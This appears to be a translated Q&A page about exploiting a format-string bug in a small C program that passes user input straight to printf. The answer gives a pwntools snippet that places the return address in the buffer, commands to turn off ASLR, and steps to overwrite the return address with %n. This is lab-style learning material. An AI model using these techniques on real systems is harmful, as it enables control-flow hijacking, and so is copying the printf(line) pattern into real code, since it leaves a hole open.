Question

我有一个程序可以使用fgets从stdin循环和读取。整个读取循环位于一个函数中，我试图用printf漏洞覆盖函数的返回地址。返回地址位于0xbffff0fc（它是0x2a20029e），堆栈上的缓冲区由输入AAAA（0x41414141）标识。

0xbffff0b0: 0x0000000a  0x00000020  0xb7fc7c20  0xb7e4fd94
0xbffff0c0: 0xb7fc73cc  0xbffff0dc  0x41414141  0x66740000
0xbffff0d0: 0x785c2220  0x785c3439  0x785c3739  0x785c3430
0xbffff0e0: 0x29223830  0xb7fc0000  0x5da95700  0x00000000
0xbffff0f0: 0x00000000  0xb7fc7000  0x00000000  0x2a20029e

所以根据我的理解，我需要在缓冲区中写入0xbffff0fc，然后我可以使用％x％6 $ n（k是一个整数）将任意值写入0xbffff0fc。

所以输入看起来像这样：＆lt; 0xbffff0fc＆gt;％x％6 $ n。我遇到的问题是如何写＆lt; 0xbffff0fc＆gt;所以它在堆栈上是0xbffff0fc。仅使用ASCII字符，我无法真正做到这一点。

编辑：添加了程序

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int function1()
{
  char line[32];
  size_t size;
  while(1)
  {
    if (!fgets(line, sizeof(line), stdin))
    {
      return 0;
    }

    size = strlen(line);
    line[size - 1] = '\0';
    printf(line);
    printf("\n");
  }
  return 0;
}

int main(int argc, char** argv)
{
    function1();
    return 0;
}

Answer 1

很高兴看到人们在这里询问安全问题。我想你可以看看pwntools。

这是一个用于编写漏洞的工具。这是一个简单的代码片段。

#!/usr/bin/env python2
from pwn import *
# a.out is your executable file
s = process('./a.out')
payload = p32(0xbffff0fc)+"%7$p"
# p32() is a function to pack your integer in little endian order
s.sendline(payload)
s.interactive()

输出将是一些不可打印的字符加上0xbffff0fc

▒▒0xbffff0fc

有关进一步说明，line变量已经在堆栈中。但您必须禁用ASLR保护以使您的堆栈地址固定。否则，每次执行程序时。你的行变量地址会有所不同。

禁用它：

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

启用它：

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

但是，我不认为你的问题是如何写0xbffff0fc来堆叠。您的问题应该是如何在启用line的情况下获取ASLR的变量地址。

这是策略。

泄漏堆栈帧的ebp然后你可以计算line变量的地址。（这部分重要）
执行上一个示例漏洞利用相同的操作。
然后，使用%n重写函数的返回地址。

如果您有疑问，请随时问我。

C Format-String漏洞，如何在缓冲区中获取地址

1 个答案: